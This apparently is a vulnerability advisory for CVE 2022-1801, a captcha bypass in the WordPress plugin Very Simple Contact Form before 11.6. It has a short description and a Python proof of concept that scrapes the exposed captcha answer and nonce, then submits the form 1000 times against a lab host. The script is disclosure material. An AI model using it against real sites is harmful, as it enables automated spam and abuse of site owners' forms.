Very Simple Contact Form < 11.6 – Captcha bypass | CVE 2022-1801

Description

The plugin exposes the solution to the captcha in the rendered contact form, both as hidden input fields and as plain text in the page, making it very easy for bots to bypass the captcha check, rendering the page a likely target for spam bots.

Proof of Concept

import requests
from requests_html import HTMLSession
from bs4 import BeautifulSoup
#usage: python3 captcher.py

#this is the url of a WP page that has implemented the form of the plugin.
url = "http://192.168.1.5/index.php/just-some-test-dude/"
proxies = {"http": "127.0.0.1:8080", "https": "127.0.0.1:8080"}

#This functions extracts the value of the captcha challenge by providing the id
def extract_value(response, id):
	soup = BeautifulSoup(response, 'html.parser')
	tag = soup.find('input', attrs={'id': id})
	extracted = tag.get('value')
	return extracted

for i in range(1, 1001):
	s = requests.Session()
	first = s.get(url, proxies=proxies)
	captcha = extract_value(first.text, 'vscf_captcha_hidden_one')
	nonce = extract_value(first.text, 'vscf_nonce')
	data_post = {'vscf_name':'AAA',
            'vscf_email':"aaaaaa@aa.com",
            'vscf_subject': 'aaaaa',
            'vscf_captcha': captcha,
            'vscf_captcha_hidden_one': captcha,
            'vscf_captcha_hidden_two':'0',
            'vscf_firstname': '',
            'vscf_lastname':'',
            'vscf_message': 'ssssssssssssssssssssssssssssssssssssssssssss',
            'vscf_nonce': nonce, #80abc23916
            '_wp_http_referer':'%2Findex.php%2Fjust-some-test-dude%2F',
            'vscf_send': ''}
	submit = s.post(url, data=data_post, proxies=proxies)